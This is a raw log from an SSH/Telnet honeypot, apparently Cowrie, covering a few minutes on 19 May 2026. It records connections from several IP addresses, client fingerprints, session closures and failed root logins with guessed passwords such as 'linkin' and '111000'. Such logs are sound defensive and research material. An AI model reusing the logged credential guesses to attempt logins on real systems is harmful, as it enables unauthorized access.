{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":45720,"dst_ip":"159.203.135.109","dst_port":22,"session":"52b2d2fb79da","protocol":"ssh","message":"New connection: 103.77.242.62:45720 (159.203.135.109:22) [session: 52b2d2fb79da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:37.609529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:37.613888Z","src_ip":"103.77.242.62","session":"52b2d2fb79da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:37.855110Z","src_ip":"103.77.242.62","session":"52b2d2fb79da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linkin","message":"login attempt [root/linkin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:38.579561Z","src_ip":"103.77.242.62","session":"52b2d2fb79da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:39.822812Z","src_ip":"103.77.242.62","session":"52b2d2fb79da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38834,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0237bc655ac","protocol":"telnet","message":"New connection: 192.119.13.58:38834 (10.17.0.5:23) [session: b0237bc655ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:45.835912Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41566,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bac5530c8a3","protocol":"ssh","message":"New connection: 103.195.236.96:41566 (10.17.0.5:22) [session: 9bac5530c8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:47.033992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:47.038718Z","src_ip":"103.195.236.96","session":"9bac5530c8a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:47.285339Z","src_ip":"103.195.236.96","session":"9bac5530c8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111000","message":"login attempt [root/111000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:48.000093Z","src_ip":"103.195.236.96","session":"9bac5530c8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:49.241313Z","src_ip":"103.195.236.96","session":"9bac5530c8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.03633165359497,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:49.503213Z","src_ip":"192.119.13.58","session":"e7682f0d4331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52070,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cbe25add88b","protocol":"telnet","message":"New connection: 192.119.13.58:52070 (10.17.0.5:23) [session: 7cbe25add88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:49.900624Z"}
{"eventid":"cowrie.session.closed","duration":35.59021711349487,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:44:50.152659Z","src_ip":"192.119.13.58","session":"45c02f9bbeda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.9440381526947,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:02.679283Z","src_ip":"192.119.13.58","session":"e282539ba3b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":39924,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a9c0166f2e0","protocol":"ssh","message":"New connection: 103.75.182.198:39924 (159.203.135.109:22) [session: 0a9c0166f2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:07.336610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:07.342367Z","src_ip":"103.75.182.198","session":"0a9c0166f2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:07.588542Z","src_ip":"103.75.182.198","session":"0a9c0166f2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"89211096722z","message":"login attempt [root/89211096722z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:08.321535Z","src_ip":"103.75.182.198","session":"0a9c0166f2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:09.570342Z","src_ip":"103.75.182.198","session":"0a9c0166f2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.45010256767273,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:11.293688Z","src_ip":"192.119.13.58","session":"e635eaa8668b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60282,"dst_ip":"10.17.0.5","dst_port":23,"session":"e47f1c9301d2","protocol":"telnet","message":"New connection: 192.119.13.58:60282 (10.17.0.5:23) [session: e47f1c9301d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:19.729517Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41008,"dst_ip":"10.17.0.5","dst_port":23,"session":"eea6baa55dc9","protocol":"telnet","message":"New connection: 192.119.13.58:41008 (10.17.0.5:23) [session: eea6baa55dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:27.084339Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43892,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f393041a79","protocol":"telnet","message":"New connection: 192.119.13.58:43892 (10.17.0.5:23) [session: d2f393041a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:27.942736Z"}
{"eventid":"cowrie.session.closed","duration":43.74481964111328,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:29.580615Z","src_ip":"192.119.13.58","session":"b0237bc655ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.71784591674805,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:30.618379Z","src_ip":"192.119.13.58","session":"7cbe25add88b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59782,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e8ce739f446","protocol":"telnet","message":"New connection: 192.119.13.58:59782 (10.17.0.5:23) [session: 2e8ce739f446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:33.107996Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38326,"dst_ip":"10.17.0.5","dst_port":23,"session":"084a4b8aa143","protocol":"telnet","message":"New connection: 192.119.13.58:38326 (10.17.0.5:23) [session: 084a4b8aa143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:35.608068Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45112,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ce546a3e4f","protocol":"telnet","message":"New connection: 192.119.13.58:45112 (10.17.0.5:23) [session: 52ce546a3e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:47.610824Z"}
{"eventid":"cowrie.session.closed","duration":0.0061681270599365234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:47.616863Z","src_ip":"192.119.13.58","session":"52ce546a3e4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55424,"dst_ip":"10.17.0.5","dst_port":23,"session":"779aa38fc921","protocol":"telnet","message":"New connection: 192.119.13.58:55424 (10.17.0.5:23) [session: 779aa38fc921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:51.390836Z"}
{"eventid":"cowrie.session.closed","duration":32.873412132263184,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:52.602522Z","src_ip":"192.119.13.58","session":"e47f1c9301d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41858,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c1511c2ead","protocol":"telnet","message":"New connection: 192.119.13.58:41858 (10.17.0.5:23) [session: 30c1511c2ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:56.141016Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42646,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eb509f1535e","protocol":"telnet","message":"New connection: 192.119.13.58:42646 (10.17.0.5:23) [session: 9eb509f1535e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:56.391345Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52026,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbae8caf09eb","protocol":"telnet","message":"New connection: 192.119.13.58:52026 (10.17.0.5:23) [session: bbae8caf09eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:59.566716Z"}
{"eventid":"cowrie.session.closed","duration":0.004652738571166992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:45:59.571257Z","src_ip":"192.119.13.58","session":"bbae8caf09eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52950,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b403fff61cd","protocol":"ssh","message":"New connection: 103.15.222.183:52950 (10.17.0.5:22) [session: 9b403fff61cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:03.439403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:03.449387Z","src_ip":"103.15.222.183","session":"9b403fff61cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:03.691610Z","src_ip":"103.15.222.183","session":"9b403fff61cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvf","message":"login attempt [root/vfvf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:04.426952Z","src_ip":"103.15.222.183","session":"9b403fff61cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:05.672472Z","src_ip":"103.15.222.183","session":"9b403fff61cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8047f2d5658e","protocol":"telnet","message":"New connection: 192.119.13.58:42746 (10.17.0.5:23) [session: 8047f2d5658e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:05.800509Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":51586,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6b8338a9049","protocol":"ssh","message":"New connection: 87.251.79.125:51586 (10.17.0.5:22) [session: d6b8338a9049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:06.020288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:06.025869Z","src_ip":"87.251.79.125","session":"d6b8338a9049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:06.097806Z","src_ip":"87.251.79.125","session":"d6b8338a9049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111333","message":"login attempt [root/111333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:06.315394Z","src_ip":"87.251.79.125","session":"d6b8338a9049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:07.390353Z","src_ip":"87.251.79.125","session":"d6b8338a9049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59858,"dst_ip":"10.17.0.5","dst_port":23,"session":"1033bd6e7bad","protocol":"telnet","message":"New connection: 192.119.13.58:59858 (10.17.0.5:23) [session: 1033bd6e7bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:10.936745Z"}
{"eventid":"cowrie.session.closed","duration":40.71468806266785,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:13.822557Z","src_ip":"192.119.13.58","session":"2e8ce739f446","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.314239263534546,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:14.256853Z","src_ip":"192.119.13.58","session":"d2f393041a79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42826,"dst_ip":"10.17.0.5","dst_port":23,"session":"21fe0662dcd3","protocol":"telnet","message":"New connection: 192.119.13.58:42826 (10.17.0.5:23) [session: 21fe0662dcd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:14.478125Z"}
{"eventid":"cowrie.session.closed","duration":48.541091203689575,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:15.625316Z","src_ip":"192.119.13.58","session":"eea6baa55dc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54594,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3587e847216","protocol":"telnet","message":"New connection: 192.119.13.58:54594 (10.17.0.5:23) [session: d3587e847216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:17.892645Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58604,"dst_ip":"10.17.0.5","dst_port":23,"session":"245c7ebe592e","protocol":"telnet","message":"New connection: 192.119.13.58:58604 (10.17.0.5:23) [session: 245c7ebe592e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:19.094621Z"}
{"eventid":"cowrie.session.closed","duration":44.376490354537964,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:19.984393Z","src_ip":"192.119.13.58","session":"084a4b8aa143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":34072,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8e0ad03a3fc","protocol":"ssh","message":"New connection: 80.66.85.226:34072 (10.17.0.5:22) [session: a8e0ad03a3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:26.349258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:26.354741Z","src_ip":"80.66.85.226","session":"a8e0ad03a3fc","protocol":"ssh"}
